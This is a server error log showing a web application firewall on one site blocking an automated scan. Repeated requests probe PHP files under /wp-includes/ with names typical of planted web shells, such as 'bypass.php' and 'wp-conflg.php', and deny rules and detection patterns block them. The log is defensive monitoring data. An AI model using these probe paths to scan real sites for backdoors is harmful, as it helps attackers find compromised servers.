[Sat Feb 28 22:20:02.814936 2026] [:error] [pid 22194:tid 22197] [client 45.86.200.249:20583] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/install.php"] [unique_id "aaL5kn6mbajs3bzQGyuyxgAAAUE"]
[Sat Feb 28 22:20:03.439708 2026] [:error] [pid 52460:tid 52470] [client 45.86.200.249:24391] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/db.php"] [unique_id "aaL5k7LWOogAgHGh62S2EAAAAYc"]
[Sat Feb 28 22:20:15.043283 2026] [:error] [pid 52460:tid 52464] [client 45.86.200.246:32271] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaL5n7LWOogAgHGh62S2XQAAAYE"]
[Sat Feb 28 22:20:21.304867 2026] [:error] [pid 49763:tid 49779] [client 45.86.200.242:23511] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rk2.php"] [unique_id "aaL5pbTHSOG_yf2PpqHBswAAAc0"]
[Sat Feb 28 22:20:27.162531 2026] [:error] [pid 39183:tid 39199] [client 45.86.200.235:28211] [client 45.86.200.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaL5qxCf4HvhVePw3LaEagAAAAc"]
[Sat Feb 28 22:20:33.431652 2026] [:error] [pid 39292:tid 39294] [client 185.82.72.107:31277] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaL5saIAO5fN7BxyqcGUgAAAAMA"]
[Sat Feb 28 22:20:44.288881 2026] [:error] [pid 39183:tid 39199] [client 185.82.72.179:48913] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaL5vBCf4HvhVePw3LaEvAAAAAc"]
[Sat Feb 28 22:20:46.855684 2026] [:error] [pid 39183:tid 39213] [client 45.86.200.250:49811] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaL5vhCf4HvhVePw3LaEygAAABU"]
[Sat Feb 28 22:20:50.177042 2026] [:error] [pid 52460:tid 52477] [client 45.86.200.231:39415] [client 45.86.200.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaL5wrLWOogAgHGh62S3CAAAAY4"]
[Sat Feb 28 22:20:55.006586 2026] [:error] [pid 22194:tid 22204] [client 45.86.200.251:43579] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaL5x36mbajs3bzQGyuy7AAAAUg"]
[Sat Feb 28 22:21:09.777115 2026] [:error] [pid 39292:tid 39304] [client 45.86.200.234:34513] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaL51aIAO5fN7BxyqcGUqQAAAMo"]
[Sat Feb 28 22:21:10.363161 2026] [:error] [pid 11791:tid 11812] [client 45.86.200.215:37813] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaL51muX5e1Q32gqxH3XTgAAARM"]
[Sat Feb 28 22:21:16.174872 2026] [:error] [pid 22194:tid 22206] [client 185.82.72.109:22555] [client 185.82.72.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaL53H6mbajs3bzQGyuzNAAAAUo"]
[Sat Feb 28 22:21:16.922949 2026] [:error] [pid 52460:tid 52473] [client 45.86.200.242:53749] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaL53LLWOogAgHGh62S3NwAAAYo"]
[Sat Feb 28 22:21:22.623945 2026] [:error] [pid 49763:tid 49785] [client 45.86.200.213:38779] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaL54rTHSOG_yf2PpqHC2gAAAdM"]
[Sat Feb 28 22:21:24.335854 2026] [:error] [pid 52460:tid 52483] [client 45.86.200.224:26173] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ms-file.php"] [unique_id "aaL55LLWOogAgHGh62S3SwAAAZQ"]
[Sat Feb 28 22:21:24.921624 2026] [:error] [pid 49763:tid 49788] [client 45.86.200.250:52055] [client 45.86.200.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaL55LTHSOG_yf2PpqHC5AAAAdY"]
[Sat Feb 28 22:21:24.925811 2026] [proxy_fcgi:error] [pid 49763:tid 49788] [client 45.86.200.250:52055] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:21:25.230328 2026] [:error] [pid 49763:tid 49785] [client 45.86.200.250:52055] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaL55bTHSOG_yf2PpqHC5wAAAdM"]
[Sat Feb 28 22:21:31.697361 2026] [:error] [pid 39184:tid 39232] [client 185.82.72.106:54381] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaL561tZF9Zd_U7easDjkgAAAE0"]
[Sat Feb 28 22:21:32.341807 2026] [:error] [pid 39184:tid 39219] [client 45.86.200.223:39671] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/network.php"] [unique_id "aaL57FtZF9Zd_U7easDjlgAAAEA"]
[Sat Feb 28 22:21:45.873872 2026] [:error] [pid 39184:tid 39229] [client 185.82.72.103:49193] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaL5-VtZF9Zd_U7easDjwQAAAEo"]
[Sat Feb 28 22:21:46.486489 2026] [:error] [pid 49763:tid 49781] [client 45.86.200.222:36131] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaL5-rTHSOG_yf2PpqHDaQAAAc8"]
[Sat Feb 28 22:21:50.132179 2026] [:error] [pid 52460:tid 52473] [client 45.86.200.213:40161] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaL5_rLWOogAgHGh62S3hQAAAYo"]
[Sat Feb 28 22:21:50.732776 2026] [:error] [pid 49763:tid 49787] [client 45.86.200.239:34907] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/install.php"] [unique_id "aaL5_rTHSOG_yf2PpqHDjgAAAdU"]
[Sat Feb 28 22:21:51.306474 2026] [proxy_fcgi:error] [pid 39183:tid 39203] [client 45.86.200.251:50679] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:21:51.622862 2026] [:error] [pid 39183:tid 39194] [client 45.86.200.251:50679] [client 45.86.200.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaL5_xCf4HvhVePw3LaFhAAAAAI"]
[Sat Feb 28 22:21:55.671853 2026] [:error] [pid 39183:tid 39201] [client 45.86.200.251:50679] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaL6AxCf4HvhVePw3LaFiwAAAAk"]
[Sat Feb 28 22:22:02.698690 2026] [:error] [pid 39184:tid 39235] [client 185.82.72.108:52363] [client 185.82.72.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaL6CltZF9Zd_U7easDjzAAAAFA"]
[Sat Feb 28 22:22:05.535627 2026] [:error] [pid 52460:tid 52483] [client 45.86.200.237:41279] [client 45.86.200.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaL6DbLWOogAgHGh62S3oAAAAZQ"]
[Sat Feb 28 22:22:06.127819 2026] [:error] [pid 49763:tid 49776] [client 45.86.200.223:31859] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaL6DrTHSOG_yf2PpqHEHAAAAco"]
[Sat Feb 28 22:22:12.303056 2026] [:error] [pid 39292:tid 39301] [client 45.86.200.229:38017] [client 45.86.200.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaL6FKIAO5fN7BxyqcGU3wAAAMc"]
[Sat Feb 28 22:22:16.731729 2026] [:error] [pid 52460:tid 52486] [client 45.86.200.222:38243] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaL6GLLWOogAgHGh62S3uQAAAZc"]
[Sat Feb 28 22:22:24.950352 2026] [:error] [pid 39183:tid 39199] [client 45.86.200.232:22681] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaL6IBCf4HvhVePw3LaFyAAAAAc"]
[Sat Feb 28 22:22:25.566600 2026] [:error] [pid 39183:tid 39215] [client 45.86.200.240:46201] [client 45.86.200.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bypass.php"] [unique_id "aaL6IRCf4HvhVePw3LaFygAAABc"]
[Sat Feb 28 22:22:28.411744 2026] [:error] [pid 39183:tid 39215] [client 45.86.200.233:43179] [client 45.86.200.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/count.php"] [unique_id "aaL6JBCf4HvhVePw3LaF2wAAABc"]
[Sat Feb 28 22:22:40.552065 2026] [:error] [pid 52460:tid 52465] [client 185.82.72.102:58379] [client 185.82.72.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaL6MLLWOogAgHGh62S3_gAAAYI"]
[Sat Feb 28 22:22:45.500999 2026] [:error] [pid 39183:tid 39213] [client 185.82.72.206:41839] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "gigfragments.org"] [uri "/images/stories/themes.php"] [unique_id "aaL6NRCf4HvhVePw3LaGMwAAABU"]
[Sat Feb 28 22:22:45.791335 2026] [:error] [pid 39183:tid 39212] [client 185.82.72.206:41839] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aaL6NRCf4HvhVePw3LaGOAAAABQ"]
[Sat Feb 28 22:22:50.121342 2026] [:error] [pid 52460:tid 52484] [client 45.86.200.236:25235] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aaL6OrLWOogAgHGh62S4GQAAAZU"]
[Sat Feb 28 22:22:50.724091 2026] [:error] [pid 49763:tid 49786] [client 185.82.72.103:59437] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/vars-soap.php"] [unique_id "aaL6OrTHSOG_yf2PpqHFOwAAAdQ"]
[Sat Feb 28 22:23:01.827987 2026] [:error] [pid 39184:tid 39219] [client 45.86.200.249:22521] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aaL6RVtZF9Zd_U7easDkEgAAAEA"]
[Sat Feb 28 22:23:06.215083 2026] [:error] [pid 49763:tid 49768] [client 45.86.200.221:65459] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aaL6SrTHSOG_yf2PpqHGeAAAAcI"]
[Sat Feb 28 22:23:08.900129 2026] [:error] [pid 39184:tid 39222] [client 45.86.200.215:64453] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aaL6TFtZF9Zd_U7easDkGAAAAEM"]
[Sat Feb 28 22:23:17.981886 2026] [:error] [pid 39183:tid 39192] [client 45.86.200.224:45089] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aaL6VRCf4HvhVePw3LaG2QAAAAA"]
[Sat Feb 28 22:23:20.844248 2026] [:error] [pid 52460:tid 52487] [client 45.86.200.218:43965] [client 45.86.200.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/colour.php"] [unique_id "aaL6WLLWOogAgHGh62S4dAAAAZg"]
[Sat Feb 28 22:23:23.824580 2026] [:error] [pid 52460:tid 52477] [client 45.86.200.239:65465] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aaL6W7LWOogAgHGh62S4dgAAAY4"]
[Sat Feb 28 22:23:25.485139 2026] [:error] [pid 39184:tid 39242] [client 45.86.200.247:39353] [client 45.86.200.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/include.php"] [unique_id "aaL6XVtZF9Zd_U7easDkcAAAAFc"]
[Sat Feb 28 22:23:29.963561 2026] [:error] [pid 52460:tid 52478] [client 45.86.200.230:62911] [client 45.86.200.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aaL6YbLWOogAgHGh62S4hAAAAY8"]
[Sat Feb 28 22:23:39.092461 2026] [:error] [pid 39183:tid 39208] [client 45.86.200.233:24579] [client 45.86.200.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aaL6axCf4HvhVePw3LaHPgAAABA"]
[Sat Feb 28 22:23:39.698764 2026] [:error] [pid 49763:tid 49769] [client 45.86.200.230:42937] [client 45.86.200.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about5.php"] [unique_id "aaL6a7THSOG_yf2PpqHHIAAAAcM"]
[Sat Feb 28 22:23:49.277846 2026] [:error] [pid 49763:tid 49770] [client 45.86.200.230:58563] [client 45.86.200.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/db.php"] [unique_id "aaL6dbTHSOG_yf2PpqHHdAAAAcQ"]
[Sat Feb 28 22:23:54.396180 2026] [:error] [pid 49763:tid 49780] [client 45.86.200.236:30893] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aaL6erTHSOG_yf2PpqHHogAAAc4"]
[Sat Feb 28 22:24:00.527292 2026] [:error] [pid 39292:tid 39295] [client 45.86.200.251:32727] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aaL6gKIAO5fN7BxyqcGVdgAAAME"]
